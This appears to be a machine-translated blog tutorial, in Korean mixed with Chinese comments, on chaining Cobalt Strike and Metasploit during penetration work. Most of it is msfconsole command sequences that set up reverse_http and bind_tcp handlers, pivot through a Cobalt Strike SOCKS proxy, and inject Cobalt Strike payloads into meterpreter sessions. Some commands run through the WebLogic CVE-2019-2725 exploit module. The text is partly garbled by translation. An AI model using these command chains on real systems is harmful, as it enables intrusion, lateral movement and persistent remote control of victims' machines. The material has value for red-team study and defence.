Ms08067을 찾아보세요
개인적으로 CobaltStrike의 그래픽 인터페이스와 풍부한 기능은 매우 강력한 악용 후 프레임워크라고 생각합니다. 특히 측면 이동 중에 수집된 다양한 데이터와 셸을 관리하는 데 편리하지만 취약점 악용 및 초기 돌파구는 반면 Metasploit은 취약성 공격 프레임워크로서 EXP는 스캐닝, 혁신, 확장 원스톱 서비스를 포함한 다양한 모듈을 갖추고 있지만 여러 셸을 관리하기가 매우 어렵습니다. (결국 그래픽 인터페이스도 없고 기억해야 할 명령도 너무 많습니다). 따라서 두 프레임워크를 효과적으로 연결하는 방법이 오늘 제가 배우고 싶은 지식이 되었습니다.
CS의 Beacon을 사용하여 MSF용 셸을 파생하여 후속 침투 작업을 수행합니다.
MSF에서 모니터링 구성
# 配置监听器msf> use exploit/multi/handler# 选择payloadmsf> windows/meterpreter/reverse_httpmsf> set lhost IPmsf> set lport port# 启动监听器msf> set ExitOnSession Falsemsf> run -jz
CS에 외부 HTTP(또는 외부 HTTPS) 설정
생성하려는 대상을 선택하고 마우스 오른쪽 버튼을 클릭하여 생성 기능을 선택한 다음 방금 생성한 리스너를 선택하면 MSF에서 다시 연결을 받을 수 있습니다.
CS를 사용하여 후속 탐지 및 취약점 악용을 위해 MSF에 전달 또는 프록시 기능을 제공합니다.
Beacon을 사용하여 양말 프록시 설정:
Beacon에 양말 수신 포트를 입력하거나 원하는 대상을 마우스 오른쪽 버튼으로 클릭합니다. 전달하려면 피벗 중인 SOCKS 서버 선택에서 수신 포트를 구성하고
실행을 클릭하여 활성화하세요.
설정된 전달자를 보기 -> 프록시 피벗에서 볼 수 있습니다. 터널을 클릭하여 MSF 전달 명령을 가져옵니다.
MSF에 복사하고 프록시 및 페이로드 유형을
CVE-2019-2725로 설정합니다. 테스트 대상 머신
#设置代理 msf> setg Proxies socks4:127.0.0.1:36725 #配置payload,因为是隔离网段的主机,无法直接反连回MSF,所以需要换成被动连接的bind类型载荷 msf> set payload windows/meterpreter/bind_tcp msf> run
주로 MSF 프레임워크의 EXP를 사용하여 CS의 Beacon을 얻습니다
명령 실행을 얻습니다. Shell:
이것이 가장 간단합니다. 상황(가장 일반적인 상황)은 Meterpreter 세션에서 모든 EXP가 다시 반송될 수는 없다는 것입니다.
공격 사용 -> 웹 드라이브 바이 -> CS에서 스크립트 웹 전달을 사용하여 페이로드 배포 사이트 배포:
리스너 및 URL 경로를 구성하면 시작 후 해당 명령 프롬프트가 나타납니다. 그런 다음 명령을 MSF 셸에서 직접 실행할 수 있습니다
Meterpreter 세션 가져오기:
미터프리터 세션을 얻은 후 MSF 주입 기능을 사용하여 Cs 페이로드
# 将meterpreter会话挂起 meterpreter> background # 进入payload_inject模块 msf> use exploit/windows/local/payload_inject # 根据CS监听器类型选择对应的payload(http或者https) msf> set payload windows/meterpreter/reverse_http # 设置回连地址(CS监听器地址) msf> set LHOST CS_IP msf> set LPORT CS_PORT # 指定要执行的meterpreter会话 msf> set session meterpreter会话ID # 设置MSF不启动监听(不然的话msf会提示执行成功,但没有会话建立,同时CS也不会接收到会话) msf> set disablepayloadhandler true msf> run
MSF 취약점 악용 시 직접 CS 페이로드를 요청하고 로드합니다. 기본적으로 두 번째 방법과 동일합니다(테스트 취약점은 CVE-2019-2725)# 根据CS监听器类型选择对应的payload
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set payload windows/meterpreter/reverse_http
# 设置回连地址(CS监听器地址)
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LHOST CS_IP
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LPORT CS_PORT
# 指定要执行的meterpreter会话
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set session meterpreter会话ID
# 设置MSF不启动监听(不然的话msf会提示执行成功,但没有会话建立,同时CS也不会接收到会话)
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set disablepayloadhandler true
사실 MSF 모듈을 호출하고 페이로드 매개변수를 구성하는 것은 두 번째 작업과 동일합니다. 취약점 악용에 성공한 후에는 창 없는 Powershell
을 통해 CS 세션으로 직접 돌아갈 수 있으며, 대상 호스트에는 창이 팝업되지 않습니다. 테스트 중에 64비트 페이로드를 로드할 수 없습니다. 이는 이 취약점을 악용한 후 후속 명령을 실행하기 위해 32비트 cmd.exe가 실행되기 때문일 수 있습니다.
一开始打算是做一篇学习笔记,毕竟好记性不如烂笔头,看过的东西长时间不使用的话可能就忘记了,留下一个备忘录日后查询起来也方便。但是,做到后来就是一个爬坑的过程了,觉得自己好聪明,“这两个载荷名字好像,也没有文章提到,会不会也可联动呀?”,因为网上介绍的方法(中文文章)基本上都是和CS官方2016年发布的指南的是一样的,但是我看目前CS中Listener的种类不止
http和https ,
dns smb tcp
MSF中也有诸如
windows/meterpreter/reverse_tcp_dns windows/meterpreter/bind_named_pipe windows/meterpreter/reverse_tcp
这类看起来很像的payload模块,一番测试下来,也就只有http和https载荷可以接收到另一方回连的会话。果然还是是自己太年轻了,没有人提,确实就是因为它不是这样用的,毕竟两个框架一开始就是独立的,这样成熟的框架之间能有联通的方法已经给面子了,一开始就不应该奢求太多的。
위 내용은 CobaltStrike와 Metasploit 간의 연계 분석 예시의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!